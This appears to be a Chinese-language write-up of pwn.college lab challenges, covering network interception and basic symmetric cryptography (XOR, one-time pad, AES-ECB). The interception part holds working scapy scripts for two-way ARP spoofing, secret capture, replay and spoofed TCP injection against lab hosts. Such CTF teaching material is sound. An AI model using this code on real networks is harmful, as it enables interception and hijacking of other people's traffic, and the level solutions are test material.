srp1(Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst="10.0.0.2"), timeout=1).hwsrc
然后进行ARP欺骗
sendp(Ether(dst="《10.0.0.2的MAC地址》", src=get_if_hwaddr("eth0")) / ARP(op="is-at", hwsrc=get_if_hwaddr("eth0"), psrc="10.0.0.3", hwdst="《10.0.0.2的MAC地址》", pdst="10.0.0.2"),iface="eth0", count=5)
#告知网络中的设备(特别是 10.0.0.2)“10.0.0.3”的 MAC 地址是当前设备的 MAC 地址。这使得 10.0.0.2 在发送数据包时,将数据包发往当前设备,而不是实际的 10.0.0.3。
exit()
ip addr add 10.0.0.3/24 dev eth0 #在网络接口 eth0 上添加一个新的 IP 地址 10.0.0.3,子网掩码默认为 /24 。这使得当前设备能够与其他在 10.0.0.0/24 网段的设备进行通信。
nc -nlvp 31337 -s 10.0.0.3
Man-in-the-Middle 中间人
对来自远程主机的流量进行中间人攻击。远程主机 10.0.0.2 正在与端口 31337 上的远程主机 10.0.0.3 通信。
源码分析:
#!/usr/bin/exec-suid --real -- /usr/bin/python -I
# Shebang使用exec-suid以真实用户ID运行Python解释器,-I参数表示隔离模式
# 导入必要的模块
import multiprocessing # 多进程支持,用于进程间通信
import os # 操作系统接口
import socket # 网络套接字编程
import time # 时间相关功能
import psutil # 系统进程和系统利用率监控库
from dojjail import Host, Network # 自定义的沙箱/容器化库
# 读取flag文件内容
flag = open("/flag").read()
# 获取父进程的详细信息(用于后续特权设置)
parent_process = psutil.Process(os.getppid())
# 已认证的客户端主机类(继承自Host基类)
class AuthenticatedClientHost(Host):
def entrypoint(self):
# 客户端主机的入口函数(运行在独立的环境中)
while True:
try:
# 创建TCP套接字并连接到服务器(10.0.0.3:31337)
client_socket = socket.socket()
client_socket.connect(("10.0.0.3", 31337))
# 验证服务器发送的提示信息
assert client_socket.recv(1024) == b"secret: "
# 从server_host实例获取共享的密钥(通过进程间通信)
secret = bytes(server_host.secret) # 带外获取密钥
time.sleep(1)
# 发送密钥的十六进制编码
client_socket.sendall(secret.hex().encode())
# 验证命令提示
assert client_socket.recv(1024) == b"command: "
time.sleep(1)
# 发送"echo"命令
client_socket.sendall(b"echo")
time.sleep(1)
# 发送要回显的数据
client_socket.sendall(b"Hello, World!")
# 验证回显结果
assert client_socket.recv(1024) == b"Hello, World!"
# 关闭连接
client_socket.close()
time.sleep(1)
except (OSError, ConnectionError, TimeoutError, AssertionError):
# 发生任何错误时重试(持续循环)
continue
# 已认证的服务器主机类
class AuthenticatedServerHost(Host):
def __init__(self, *args, **kwargs):
super().__init__(*args, **kwargs)
# 创建共享内存数组(32字节无符号字符),用于进程间共享密钥
self.secret = multiprocessing.Array("B", 32)
def entrypoint(self):
# 服务器主机的入口函数
server_socket = socket.socket()
server_socket.bind(("0.0.0.0", 31337)) # 绑定所有接口
server_socket.listen()
while True:
try:
# 接受客户端连接
connection, _ = server_socket.accept()
# 生成32字节随机密钥并存入共享内存
self.secret[:] = os.urandom(32)
time.sleep(1)
# 发送密钥提示
connection.sendall(b"secret: ")
# 接收客户端发送的密钥(十六进制格式)
secret = bytes.fromhex(connection.recv(1024).decode())
# 验证密钥,不匹配则关闭连接
if secret != bytes(self.secret):
connection.close()
continue
time.sleep(1)
# 发送命令提示
connection.sendall(b"command: ")
# 接收客户端命令
command = connection.recv(1024).decode().strip()
# 处理echo命令
if command == "echo":
data = connection.recv(1024)
time.sleep(1)
connection.sendall(data)
# 处理flag命令(返回flag内容)
elif command == "flag":
time.sleep(1)
connection.sendall(flag.encode())
# 关闭连接
connection.close()
except ConnectionError:
# 连接错误时继续监听新连接
continue
# 创建三个主机实例:
# 用户主机 - 具有父进程的有效用户ID作为特权UID
user_host = Host("ip-10-0-0-1", privileged_uid=parent_process.uids().effective)
# 客户端主机 - 使用自定义的认证客户端类
client_host = AuthenticatedClientHost("ip-10-0-0-2")
# 服务器主机 - 使用自定义的认证服务器类
server_host = AuthenticatedServerHost("ip-10-0-0-3")
# 创建网络配置:
# 主机与IP地址的映射,设置子网为10.0.0.0/24
network = Network(hosts={user_host: "10.0.0.1",
client_host: "10.0.0.2",
server_host: "10.0.0.3"},
subnet="10.0.0.0/24")
# 启动网络(所有主机的entrypoint将在隔离环境中运行)
network.run()
# 为用户主机启动交互式shell,继承父进程的环境变量
user_host.interactive(environ=parent_process.environ())
查看解析
文章链接:https://writeups.kunull.net/Pwn%20College/Intro%20to%20Cybersecurity/Intercepting%20Communication
与上关区别在于需要两头进行ARP欺骗,并且需要处理有状态会话
首先获取10.0.0.2的MAC地址
scapy
srp1(Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst="10.0.0.2"), timeout=1).hwsrc
然后进行ARP欺骗
sendp(Ether(dst="《10.0.0.2的MAC地址》", src=get_if_hwaddr("eth0")) / ARP(op="is-at", hwsrc=get_if_hwaddr("eth0"), psrc="10.0.0.3", hwdst="《10.0.0.2的MAC地址》", pdst="10.0.0.2"),iface="eth0", count=5)
#告知网络中的设备(特别是 10.0.0.2)“10.0.0.3”的 MAC 地址是当前设备的 MAC 地址。这使得 10.0.0.2 在发送数据包时,将数据包发往当前设备,而不是实际的 10.0.0.3
exit()
ip addr add 10.0.0.3/24 dev eth0 #在网络接口 eth0 上添加一个新的 IP 地址 10.0.0.3,子网掩码默认为 /24 。这使得当前设备能够与其他在 10.0.0.0/24 网段的设备进行通信。
使用伪造服务端监听获取密钥
python server.py
获取10.0.0.3的MAC地址
scapy
srp1(Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst="10.0.0.3"), timeout=1).hwsrc
然后进行ARP欺骗
sendp(Ether(dst="d2:98:24:3e:70:5a", src=get_if_hwaddr("eth0")) / ARP(op="is-at", hwsrc="7a:a9:da:11:a0:a1", psrc="10.0.0.2", hwdst="d2:98:24:3e:70:5a", pdst="10.0.0.3"), iface="eth0", count=5)
#告知网络中的设备(特别是 10.0.0.3)“10.0.0.2”的 MAC 地址是当前设备的 MAC 地址。这样,10.0.0.3 也会将数据包发送到当前设备,而不是实际的 10.0.0.2
exit()
ip addr add 10.0.0.2/24 dev eth0
再使用伪造的客户端发送密钥
python client.py
(失败了)直接做脚本小子
python scrip.py伪造的服务端server.py:
import socket
s = socket.socket()
s.bind(("10.0.0.3", 31337))
s.listen(1)
print("[+] Waiting for connection from client...")
conn, _ = s.accept()
print("[+] Got connection!")
print("[+] Sending secret prompt...")
conn.sendall(b"secret: ")
# Now the client will send the secret
print("[+] Receiving secret...")
secret_data = conn.recv(1024)
if not secret_data:
print("[!] Didn't receive anything from client!")
conn.close()
exit()
secret_hex = secret_data.decode().strip()
print(f"[+] Captured secret: {secret_hex}")
try:
secret = bytes.fromhex(secret_hex)
print(f"[+] Parsed secret: {secret.hex()}")
except Exception as e:
print(f"[!] Failed to decode hex: {e}")
conn.close()
伪造的客户端client.py:
#!/usr/bin/env python3
"""
伪造客户端获取flag的脚本
使用方法: python3 get_flag.py
"""
import socket
import time
# 之前截获的secret(从你的输出中复制)
SECRET_HEX = "0ef6652b9e98ec941dbd79ca68454edbffb2e94fde1c9d4c2a8e1476cc2bd51a"
# 网络配置
SERVER_IP = "10.0.0.3"
SERVER_PORT = 31337
CLIENT_IP = "10.0.0.2" # 我们伪装成这个IP
def get_flag():
"""
连接到服务器,使用截获的secret认证,然后获取flag
"""
try:
# 创建socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 绑定到客户端IP(确保系统允许绑定非本地IP)
sock.bind((CLIENT_IP, 0)) # 0表示让系统分配端口
# 设置超时
sock.settimeout(10)
print(f"[+] 连接到服务器 {SERVER_IP}:{SERVER_PORT}...")
sock.connect((SERVER_IP, SERVER_PORT))
print("[+] 连接成功!")
# 接收"secret: "提示
print("[+] 等待secret提示...")
data = sock.recv(1024)
print(f"[+] 收到: {repr(data)}")
if data != b"secret: ":
print(f"[!] 预期收到b'secret: ',但收到: {repr(data)}")
return False
# 发送secret
print(f"[+] 发送secret: {SECRET_HEX[:16]}...")
sock.sendall(SECRET_HEX.encode())
# 接收"command: "提示
print("[+] 等待command提示...")
data = sock.recv(1024)
print(f"[+] 收到: {repr(data)}")
if data != b"command: ":
print(f"[!] 预期收到b'command: ',但收到: {repr(data)}")
return False
# 发送"flag"命令
print("[+] 发送'flag'命令...")
sock.sendall(b"flag")
# 接收flag
print("[+] 等待flag响应...")
time.sleep(1) # 等待服务器处理
flag = sock.recv(1024)
if flag:
print(f"\n{'='*60}")
print(f"[+] FLAG 获取成功!")
print(f"[+] Flag: {flag.decode()}")
print(f"{'='*60}\n")
return True
else:
print("[!] 未收到flag")
return False
except socket.timeout:
print("[!] 连接超时")
return False
except ConnectionRefusedError:
print("[!] 连接被拒绝")
return False
except Exception as e:
print(f"[!] 错误: {e}")
return False
finally:
sock.close()
print("[+] 连接已关闭")
if __name__ == "__main__":
print("="*60)
print("伪造客户端攻击脚本")
print("="*60)
# 尝试最多3次
for attempt in range(1, 4):
print(f"\n[第{attempt}次尝试]")
if get_flag():
break
time.sleep(2)
脚本小子script.py:
from scapy.all import *
import threading
import time
import signal
import sys
# Configuration
CLIENT_IP = "10.0.0.2"
SERVER_IP = "10.0.0.3"
ATTACKER_IP = "10.0.0.1"
INTERFACE = "eth0"
SERVER_PORT = 31337
# Global state
sent_flag = False
secret = None
# Get attacker MAC address once
attacker_mac = get_if_hwaddr(INTERFACE)
def get_mac(ip):
"""Get MAC address for a given IP"""
try:
ans, _ = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip), timeout=2, verbose=False, iface=INTERFACE)
for _, rcv in ans:
return rcv.hwsrc
except Exception as e:
print(f"[!] Error getting MAC for {ip}: {e}")
print(f"[!] Could not get MAC for {ip}")
sys.exit(1)
def arp_spoof(target_ip, spoof_ip, target_mac):
"""ARP spoof a single target with proper Ethernet layer"""
while True:
# Create ARP response packet with Ethernet layer
arp_pkt = ARP(
op=2, # ARP reply
pdst=target_ip,
psrc=spoof_ip,
hwdst=target_mac,
hwsrc=attacker_mac
)
# Create Ethernet frame
eth_pkt = Ether(
dst=target_mac,
src=attacker_mac
) / arp_pkt
# Send with sendp (layer 2 send)
sendp(eth_pkt, iface=INTERFACE, verbose=0)
time.sleep(1) # Spoof every second
def restore_arp(client_ip, client_mac, server_ip, server_mac):
"""Restore ARP tables to normal"""
print("\n[*] Restoring ARP tables...")
# Create and send restore packets for both directions
restore_client = Ether(dst=client_mac, src=server_mac) / \
ARP(op=2, pdst=client_ip, psrc=server_ip, hwdst=client_mac, hwsrc=server_mac)
restore_server = Ether(dst=server_mac, src=client_mac) / \
ARP(op=2, pdst=server_ip, psrc=client_ip, hwdst=server_mac, hwsrc=client_mac)
for _ in range(5):
sendp(restore_client, iface=INTERFACE, verbose=0)
sendp(restore_server, iface=INTERFACE, verbose=0)
time.sleep(0.1)
print("[*] ARP tables restored, exiting...")
sys.exit(0)
def handle_packet(pkt):
"""Handle intercepted packets"""
global sent_flag, secret
# Check if it's a TCP packet
if not pkt.haslayer(TCP):
return
src_ip = pkt[IP].src
dst_ip = pkt[IP].dst
sport = pkt[TCP].sport
dport = pkt[TCP].dport
# Check if it's the right port
if sport != SERVER_PORT and dport != SERVER_PORT:
return
# Print packet info for debugging
if pkt.haslayer(Raw):
payload = pkt[Raw].load
if src_ip == CLIENT_IP and dst_ip == SERVER_IP:
print(f"[<] Client -> Server: {payload}")
elif src_ip == SERVER_IP and dst_ip == CLIENT_IP:
print(f"[>] Server -> Client: {payload}")
else:
# Print TCP flags if no payload
flags = pkt[TCP].flags
if src_ip == CLIENT_IP and dst_ip == SERVER_IP:
print(f"[<] Client -> Server: TCP flags={flags}")
elif src_ip == SERVER_IP and dst_ip == CLIENT_IP:
print(f"[>] Server -> Client: TCP flags={flags}")
# Handle server response with secret prompt
if src_ip == SERVER_IP and dst_ip == CLIENT_IP and pkt.haslayer(Raw):
payload = pkt[Raw].load
# Check if server is asking for secret
if b"secret: " in payload:
print("[+] Detected secret prompt from server")
# Check if we've received the flag
elif b"flag" in payload or b"{" in payload or b"}" in payload:
print(f"\n[!] FLAG FOUND: {payload.decode()}")
restore_arp(CLIENT_IP, client_mac, SERVER_IP, server_mac)
# Check for command prompt if we haven't sent flag yet
elif b"command:" in payload and not sent_flag:
print("\n[+] Detected command prompt from server")
# Extract TCP info for spoofing
tcp = pkt[TCP]
seq = tcp.seq
ack = tcp.ack
window = tcp.window
# Calculate new sequence and ack numbers
new_ack = seq + len(payload)
# Create IP layer
spoof_ip = IP(src=CLIENT_IP, dst=SERVER_IP)
# Create TCP layer
spoof_tcp = TCP(
sport=dport, # Client port (destination port of server's response)
dport=SERVER_PORT, # Server port
seq=ack, # Client's next sequence number
ack=new_ack, # Acknowledge server's data
flags='PA', # Push and ACK
window=window, # Use same window size
options=tcp.options # Copy TCP options
)
# Send 'flag' command
spoof_pkt = spoof_ip / spoof_tcp / b"flag"
sendp(Ether(dst=server_mac, src=attacker_mac) / spoof_pkt, iface=INTERFACE, verbose=0)
print(f"[+] Sent spoofed 'flag' command")
sent_flag = True
# Handle client sending secret
elif src_ip == CLIENT_IP and dst_ip == SERVER_IP and pkt.haslayer(Raw):
payload = pkt[Raw].load
# Check if this looks like a secret (hex string of 32 bytes = 64 hex chars)
if len(payload) == 64 and all(c in b'0123456789abcdef' for c in payload.lower()):
secret = payload.decode()
print(f"[+] Captured secret: {secret}")
def main():
global client_mac, server_mac
print("[*] Starting Man-in-the-Middle Attack...")
print(f"[*] Client: {CLIENT_IP}")
print(f"[*] Server: {SERVER_IP}")
print(f"[*] Interface: {INTERFACE}")
print(f"[*] Attacker MAC: {attacker_mac}")
# Get MAC addresses
client_mac = get_mac(CLIENT_IP)
server_mac = get_mac(SERVER_IP)
print(f"[*] Client MAC: {client_mac}")
print(f"[*] Server MAC: {server_mac}")
# Set up signal handler for clean exit
signal.signal(signal.SIGINT, lambda sig, frame: restore_arp(CLIENT_IP, client_mac, SERVER_IP, server_mac))
# Start ARP spoofing threads
print("[*] Starting ARP spoofing threads...")
client_spoof_thread = threading.Thread(
target=arp_spoof,
args=(CLIENT_IP, SERVER_IP, client_mac),
daemon=True
)
server_spoof_thread = threading.Thread(
target=arp_spoof,
args=(SERVER_IP, CLIENT_IP, server_mac),
daemon=True
)
client_spoof_thread.start()
server_spoof_thread.start()
# Start sniffing packets
print("[*] Sniffing traffic...")
try:
sniff(
iface=INTERFACE,
filter=f"tcp and port {SERVER_PORT}",
prn=handle_packet,
store=0,
promisc=True # Enable promiscuous mode to capture all traffic
)
except KeyboardInterrupt:
restore_arp(CLIENT_IP, client_mac, SERVER_IP, server_mac)
if __name__ == "__main__":
main()
Cryptography 密码学
Symmetric Cryptography 对称密码学
XOR 异或
奇怪的是,我们将从不起眼的异或 (XOR) 运算符开始我们的密码学之旅。异或是你在安全旅程中,尤其是在密码学中,会遇到的最常见的位运算符之一。这里有几个术语需要解释...
位运算。 回想一下数据处理,计算机是用二进制思考的!也就是说,它们用二进制来概念化数字,所以像 9 这样的数字表示为 1001。异或一次操作一对位,如果位不同(一个是 1,另一个是 0)则结果为 1,如果相同(都是 1 或都是 0)则结果为 0。然后它独立地应用于每个位对,结果被连接起来。例如,十进制 9 (1001) 与十进制 5 (0101) 异或的结果是 1100(十进制 12)。
密码学。 为什么异或在密码学中如此常见?在密码学中,它很常见,因为它是自逆的!也就是说(这里用 ^ 表示异或,这与许多编程语言一致),5 ^ 9 == 12,并且 12 ^ 9 == 5。如果数字 9 是只有你我知道的密钥,我可以通过用 9 对消息进行异或来发送给你,你也可以通过用 9 对它们进行异或来恢复消息!显然,我加 9 你减 9 也能实现这个特性,而不需要使用异或,但这需要更复杂的电路和额外的位(例如,处理 1111 + 0001 == 10000 中的"进位1"),而异或没有这个问题(1111 ^ 0001 == 1110)。
在这一关中,你将学习异或!我们将给你一个共享的密钥,用它 XOR 一个秘密数字,并期望你恢复这个数字。
提示: 使用 Python 的 ^ 运算符对整数进行异或!
查看解析
使用python进行异或解密
python
key = 114
encrypted = 58
decrypted = encrypted ^ key
print(decrypted)
或者使用cyberchef:
XORing Hex 十六进制异或
当然,正如你在数据处理中学到的,我们倾向于将计算机内存中的值表示为十六进制。如果你不记得那是什么,请返回并复习那些关卡。否则,请继续在这里练习一些十六进制异或!
查看解析
使用python进行异或解密
python
key = 0x3c
encrypted = 0x48
decrypted = encrypted ^ key
print(hex(decrypted))
或者使用cyberchef:
import subprocess
p = subprocess.Popen(["/challenge/run"], stdin=subprocess.PIPE, stdout=subprocess.PIPE, text=True)
key = None
for line in p.stdout:
print(line, end="")
if line.startswith("The key:"):
key = int(line.split(":")[1], 16)
secret_line = next(p.stdout)
print(secret_line, end="")
secret = int(secret_line.split(":")[1], 16)
decrypted = secret ^ key
p.stdin.write(f"{hex(decrypted)}\n")
p.stdin.flush()
XORing ASCII ASCII 异或
密码学的许多领域都涉及加密文本。正如你可能(再次!)从数据处理中回想起来的,这些文本根据编码标准(如 ASCII 或 UTF-8)映射到特定的字节值。在这里,我们将坚持使用 ASCII,尽管这些概念同样适用于其他编码。
很酷的是,由于 ASCII 将字节值分配给字符,我们可以进行像异或这样的操作!这对密码学有明显的影响。
在这一关中,我们将逐字节探讨这些影响。挑战将一次给你一个字母,以及一个用于"解密"(异或)该字母的密钥。你给我们异或的结果。例如:
hacker@dojo:~$ /challenge/run
Challenge number 0...
- Encrypted Character: A
- XOR Key: 0x01
- Decrypted Character?
你会如何解决这个问题?你可以 man ascii 并找到 A 的条目:
Oct Dec Hex Char
──────────────────────
101 65 41 A
所以 A 在十六进制中是 0x41。你会用它和 0x01 进行异或。这里的结果是:0x41 ^ 0x01 == 0x40,并且,根据 man ascii:
Oct Dec Hex Char
──────────────────────
100 64 40 @
是 @ 字符!
hacker@dojo:~$ /challenge/run
Challenge number 0...
- Encrypted Character: A
- XOR Key: 0x01
- Decrypted Character? @
Correct! Moving on.
现在轮到你了!你能异或起来并得到flag吗?
查看解析
使用python进行异或解密
python
key = 0x1d
encrypted = 'p'
# 将字符转换为ASCII值,与key进行异或操作
decrypted = ord(encrypted) ^ key
print(chr(decrypted))
或者使用cyberchef:
这个挑战检测了是否是终端交互,需要使用pexpect模块来模拟终端
import pexpect
import sys
# 实时输出所有内容到控制台
p = pexpect.spawn("/challenge/run", encoding="utf-8")
p.logfile = sys.stdout # 这将实时显示所有输出
try:
while True:
p.expect("Encrypted Character: (.)")
encrypted_char = p.match.group(1)
p.expect("XOR Key: (0x[0-9a-fA-F]+)")
key = int(p.match.group(1), 16)
plain = chr(ord(encrypted_char) ^ key)
p.expect("Decrypted Character\\? ")
p.sendline(plain)
i = p.expect(["Correct! Moving on.", "You have mastered XORing ASCII! Your flag:", "INCORRECT!"])
if i == 1:
# 显示flag
print(p.readline()) # 打印剩余内容(flag)
break
elif i == 2: # INCORRECT
break
except pexpect.EOF:
print("程序已结束")
except Exception as e:
print(f"发生错误: {e}")
XORing ASCII Strings ASCII 字符串异或
好的,现在你知道如何对 ASCII 字符进行异或了。这是我们构建第一个密码系统的关键一步,但现在,我们需要对整个 ASCII 字符串进行异或!让我们试试这个。
就像 Python 提供 ^ 运算符来对整数进行异或一样,一个名为 PyCryptoDome 的 Python 库提供了一个名为 strxor 的函数来对两个字符串进行异或。你可以在 Python 中使用 from Crypto.Util.strxor import strxor 导入它。
对两个字符串进行异或是逐字节进行的,就像对两个字节进行异或是逐位进行的一样。所以,引用前面的例子:
hacker@dojo:~$ python
>>> from Crypto.Util.strxor import strxor
>>> strxor(b"AAA", b"16/")
b'pwn'
你可以用 ASCII 表自己验证:A ^ 1 是 p,A ^ 6 是 w,A ^ / 是 n。我们刚刚用密钥 16/ 解密了密文 AAA,得到了明文 pwn。
在这个挑战中,你将连续多次这样做:就像之前的挑战一样,但是用字符串!祝你好运!
注意事项: 这些附加在引号前的 b 是什么?Python 的默认字符串表示(例如,"AAA")是Unicode,而且与拉丁字母表不同,Unicode 包含了人类已知的所有字符(包括拉丁字母表)!这意味着一个字符可以有数千个不同的值(在撰写本文时,Unicode 包含了 154,998 个字符!),从"A"到"💩"。
不幸的是,一个 8 位的单字节只能容纳 2**8 == 256 个不同的值,这对于 ASCII(拉丁字母表中没有那么多字母/数字等)来说足够了,但对于 Unicode 来说不够。Unicode 使用不同的编码进行编码,例如我们之前提到的UTF-8。UTF-8 被设计成向后兼容 ASCII:"A"就是 0x41,而像"💩"这样的东西是四个字节:f0 9f 92 a9!
基本上,ASCII 之于 拉丁字母表 就像 UTF-8 之于 Unicode,就像拉丁字母表是 Unicode 的子集一样,ASCII 是 UTF-8 的子集。很狂野。
无论如何,Python 的普通字符串(以及通常从终端获得的 input())是 Unicode,但有些函数,如 strxor,使用并产生字节。你可以像我上面那样直接指定它们,在引号前加上 b(表示字节)并使用 ASCII 或十六进制编码(例如,b"AAA" 和 b"A\x41\x41" 是等价的),或者你可以使用 UTF-8 将 Unicode 字符串编码为字节,如下:"AAA".encode() == b"AAA" 或 "💩".encode() == b"\xf0\x9f\x92\xa9"。你也可以将结果字节解码回 Unicode 字符串:b"AAA".decode() == "AAA" 或 b"\xf0\x9f\x92\xa9".decode() == "💩"。
这更复杂的是,UTF-8 不能将任意字节转换为 Unicode。例如,b'\xb0'.decode() 会引发异常。你可以通过放弃默认的 UTF-8 并使用前 Unicode 的非编码编码,如"latin"/ISO-8859-1(来自古老的计算机时代)来解决这个问题,如下:b'\xb0'.decode('latin')。虽然 ISO-8859-1 最初早于 Unicode,但它的 Python 实现会转换为 Unicode 字符串。但是,请记住这种编码不同于 UTF-8:b"\xb0".encode('latin").decode() == b'\xc2\xb0'。你必须保持一致,并使用相同的编码进行解码和编码:b"\xb0".encode('latin").decode(latin1) == b"\xb0"。
无论如何,所有这些听起来很可怕,但这主要是对未来的警告。对于这一关,我们非常小心地选择了字符,这样你就不会遇到这些问题。
注意: Python 的字符串与字节的情况很糟糕,最终会咬你一口(哈哈!)。无法避免陷阱 --- 我们使用 Python 多年后仍然会中招,所以你只需要学会爬起来,掸掸灰尘,修复代码,然后继续前进。有了足够的经验,你会从因字符串/字节混淆而导致的错误中损失整整几天的时间,进步到只损失整整几小时。
查看解析
使用python进行异或解密
python
from Crypto.Util.strxor import strxor
key = "16/"
encrypted = "AAA"
decrypted = strxor(encrypted.encode(), key.encode())
print(decrypted)
或者使用cyberchef:
import pexpect
from Crypto.Util.strxor import strxor
p = pexpect.spawn("/challenge/run", encoding="utf-8")
p.logfile = open(1, "w", encoding="utf-8")
try:
while True:
# 等待密文提示
p.expect("- Encrypted String: ")
encrypted_str = p.readline().strip()
# 等待密钥提示
p.expect("- XOR Key String: ")
key_str = p.readline().strip()
# 等待解密提示
p.expect("- Decrypted String\\? ")
# 解密
decrypted = strxor(
encrypted_str.encode("latin1"),
key_str.encode("latin1")
).decode("latin1")
p.sendline(decrypted)
# 检查是否继续
result = p.expect(["Correct! Moving on.", "You have mastered XORing ASCII! Your flag:"])
if result == 1:
# 读取并打印flag
print(p.readline().strip())
break
except pexpect.EOF:
# 程序正常结束,打印剩余输出
pass
except Exception as e:
print(f"Error: {e}")
finally:
p.close()
One-time Pad 一次性密码本
在这个挑战中,你将解密一个用一次性密码本加密的秘密。虽然简单,但这是最安全的加密机制,前提是 a) 你能安全地传输密钥,并且 b) 你只使用密码本一次。它也是最简单的加密机制:你只需将明文的位与密钥的位逐一进行异或!
这个挑战用一个一次性密码本加密了flag,然后给你密钥。幸运的是,一次性密码本是一个对称密码系统:也就是说,你使用相同的密钥进行加密和解密,所以你拥有解密flag所需的一切!
有趣的事实: 一次性密码本是人类能够证明是完美安全的唯一密码系统。如果你安全地传输密钥,并且只用于一条消息,即使是拥有无限计算能力的攻击者也无法破解它!我们无法为任何其他密码系统做出这个证明。
查看解析
使用python进行异或解密
python
from Crypto.Util.strxor import strxor
key_hex = "0e45ff47f408af17d15c597c453f44fb851033ffad282939b5d52e5ffae89ab79b9b90b46c64014aabba46f835810eed6f9190448d4362aada7b"
encrypted_hex = "7e3291699767c37bb43b3c07716f06b1cc7d5894d5726a7786b2590bcaa2e0cfccfae4f5063b6d64cfe83cb64fcc4aa116c8d40abe2018fda771"
key_bytes = bytes.fromhex(key_hex)
encrypted_bytes = bytes.fromhex(encrypted_hex)
decrypted_bytes = strxor(encrypted_bytes, key_bytes)
print(decrypted_bytes)
或者使用cyberchef:
One-time Pad Tampering 一次性密码本篡改
所以,一次性密码本被证明是安全的...但仅限于机密性方面!实际上它并不保证完整性。这个挑战问你:如果你能篡改传输中的消息呢?思考一下异或的工作原理,看看你能否得到flag!
/challenge/dispatcher
- 读取密钥文件(
/challenge/.key) - 计算
"sleep"与密钥前5字节的异或值
#!/usr/bin/exec-suid -- /usr/bin/python3 -I
from Crypto.Util.strxor import strxor
key = open("/challenge/.key", "rb").read()
ciphertext = strxor(b"sleep", key[:5])
print(f"TASK: {ciphertext.hex()}")
/challenge/worker
- 从标准输入读取以
"TASK: "开头的行 - 将后续的十六进制数据转换为字节作为密文
- 用密钥解密密文得到明文
- 根据明文执行命令:
"sleep":休眠1秒"flag!":输出flag- 其他:显示未知命令
#!/usr/bin/exec-suid -- /usr/bin/python3 -I
from Crypto.Util.strxor import strxor
import time
import sys
key = open("/challenge/.key", "rb").read()
while line := sys.stdin.readline():
if not line.startswith("TASK: "):
continue
data = bytes.fromhex(line.split()[1])
cipher_len = min(len(data), len(key))
plaintext = strxor(data[:cipher_len], key[:cipher_len])
print(f"Hex of plaintext: {plaintext.hex()}")
print(f"Received command: {plaintext}")
if plaintext == b"sleep":
print("Sleeping!")
time.sleep(1)
elif plaintext == b"flag!":
print("Victory! Your flag:")
print(open("/flag").read())
else:
print("Unknown command!"
查看解析
思路:
1.运行dispatcher获取"sleep"命令的密文:
dispatcher会计算并输出:ciphertext_sleep = "sleep" XOR key[:5]
则密钥:key[:5] = ciphertext_sleep XOR "sleep"
2.利用异或运算性质计算"flag!"的密文:
不需要知道密钥,因为可以直接计算:ciphertext_flag = ("flag!" XOR "sleep") XOR ciphertext_sleep
3.将构造的密文发送给worker获取flag

Many-time Pad 多次使用密码本
之前的挑战给了你一次性密码本来解密密文。如果你不知道一次性密码本,并且它只用于一条消息,之前的挑战将无法解决!在这一关中,我们将探索如果违反后一个条件会发生什么。这次你不会得到密钥,但我们会让你加密尽可能多的消息。你能解密flag吗?
提示: 深入思考异或的工作原理,并考虑到它是一种分配性、交换性和结合性的运算...
提示: 我们建议用 Python 编写解决方案,并使用我们在挑战中使用的 strxor 函数!这让事情简单得多。
查看解析
思路:
1.运行/challenge/run获取flag的密文
2.可以继续输入任意明文计算其密文,并且密钥相同
3.不需要知道密钥,因为可以直接计算:ciphertext_flag = flag XOR key
则flag = ciphertext_flag XOR key

AES 高级加密标准
所以,一次性密码本在重复使用时就会失效。这不太理想:考虑到传输密钥时必须多么小心,如果密钥能用于不止一条消息,那就更好了!
进入:高级加密标准,AES。AES 相对较新:出现在 2001 年。像一次性密码本一样,AES 也是对称的:相同的密钥用于加密和解密。与一次性密码本不同,AES 在使用相同密钥加密多条消息时仍能保持安全性。
在这个挑战中,你将解密一个用高级加密标准 (AES) 加密的秘密。
AES 是一种所谓的"分组密码",一次加密一个 16 字节(128 位)的明文"块"。所以 AAAABBBBCCCCDDDD 将是一个单独的明文块,被加密成一个单独的密文块。
AES 必须操作完整的块。如果明文短于一个块(例如,AAAABBBB),它将被填充到块大小,然后填充后的明文将被加密。
不同的 AES"模式"定义了当明文长于一个块时该怎么办。在这个挑战中,我们使用最简单的模式:"电子密码本 (ECB)"。在 ECB 中,每个块用相同的密钥单独加密,然后简单地连接在一起。所以如果你要加密像 AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHH 这样的东西,它将被分成两个明文块(AAAABBBBCCCCDDDD 和 EEEEFFFFGGGGHHHH),分别加密(结果,假设是 UVSDFGIWEHFBFFCA 和 LKXBFVYASLJDEWEU),然后连接起来(结果密文为 UVSDFGIWEHFBFFCALKXBFVYASLJDEWEU)。
这个挑战将给你 AES 加密的flag和用于加密它的密钥。我们不会学习 AES 的内部原理,即它如何实际加密原始字节。相反,我们将学习 AES 的不同应用,以及它们在实践中是如何被破解的。如果你有兴趣学习 AES 的内部原理,我们强烈推荐 CryptoHack,一个专注于密码学细节的惊人学习资源!
现在,去解密flag并得分吧!
提示: 我们使用 PyCryptoDome 库来实现这一关的加密。你需要阅读它的文档,以弄清楚如何实现解密!
查看解析
使用python进行AES解密
python
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
# 获取程序输出的密钥和密文
key_hex = "e117b06b5287a87c7ad242ffa26bbc77"
key = bytes.fromhex(key_hex)
flag_cipher_hex = "9f8d9bf0a0e65e9dcdf0925ad16931ed6302cd507e307cda560f5002a3a68c18e503c12a934c6ccf0d308782ae2593eba2f8602f9692d0bc812df98127e8034e"
flag_cipher = bytes.fromhex(flag_cipher_hex)
# 使用相同的密钥和模式创建解密器
cipher = AES.new(key=key, mode=AES.MODE_ECB)
# 解密并去除填充
flag_plain = unpad(cipher.decrypt(flag_cipher), cipher.block_size)
print(flag_plain.decode())
或者使用cyberchef:
AES-ECB-CPA
尽管 AES 加密算法的核心被认为是安全的(虽然未被证明:目前还没人能做到!但在其 20 多年的使用中,也没人能实质性破解其加密),但这个核心一次只能加密 128 位(16 字节)的块。要在实践中实际使用 AES,必须在它之上构建一个密码系统。
在上一关中,我们使用了 AES-ECB 密码系统:一种电子密码本密码,其中每个块都由相同的密钥独立加密。这个系统非常简单,但正如我们在这里将要发现的,它极其容易受到某一类攻击。
